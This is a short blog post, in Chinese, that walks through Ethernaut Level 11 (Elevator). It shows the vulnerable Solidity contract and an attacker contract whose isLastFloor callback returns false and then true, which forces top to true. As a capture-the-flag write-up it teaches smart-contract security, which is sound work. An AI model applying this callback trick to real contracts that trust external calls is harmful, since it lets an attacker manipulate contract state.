DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 11(Elevator)

LEVEL 11 (Elevator):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

top=true

要点

逻辑错误,设置top不能再调用外部

解题思路

isLastFloor第一次返回false,第二次返回true
contracts/11Elevator.sol

    bool firstCallLastFloor = true;

    function run(address _levelAddress) external {     
        ILevel(_levelAddress).goTo(1);
    }

    function isLastFloor(uint _floor) external returns (bool) {
        if (firstCallLastFloor){
            firstCallLastFloor = false;
            return false;
        }else{
            return true;
        }
    }
Enter fullscreen mode Exit fullscreen mode

Top comments (0)